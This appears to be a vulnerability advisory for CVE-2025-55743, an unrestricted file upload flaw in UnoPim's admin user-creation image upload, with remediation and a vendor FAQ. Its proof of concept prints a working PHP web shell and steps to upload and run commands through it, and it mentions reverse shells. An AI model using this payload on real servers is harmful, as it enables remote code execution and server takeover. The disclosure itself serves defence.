CVE-2025-55743

Affected Functionality: Image upload at User creation
Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation.
A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite.
Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify.
   File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
   File name: poc.php
   Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls
   // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network.
Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.

Kodem intelligence

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

1. What is CVE-2025-55743? CVE-2025-55743 is a high-severity unrestricted upload of dangerous file types vulnerability in unopim/unopim (composer), affecting versions <= 0.2.0. It is fixed in 0.2.1. The application accepts file uploads without adequately restricting the file type or content.
2. Which versions of unopim/unopim are affected by CVE-2025-55743? unopim/unopim (composer) versions <= 0.2.0 is affected.
3. Is there a fix for CVE-2025-55743? Yes. CVE-2025-55743 is fixed in 0.2.1. Upgrade to this version or later.
4. Is CVE-2025-55743 exploitable, and should I be worried? Whether CVE-2025-55743 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-55743 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-55743? Upgrade unopim/unopim to 0.2.1 or later.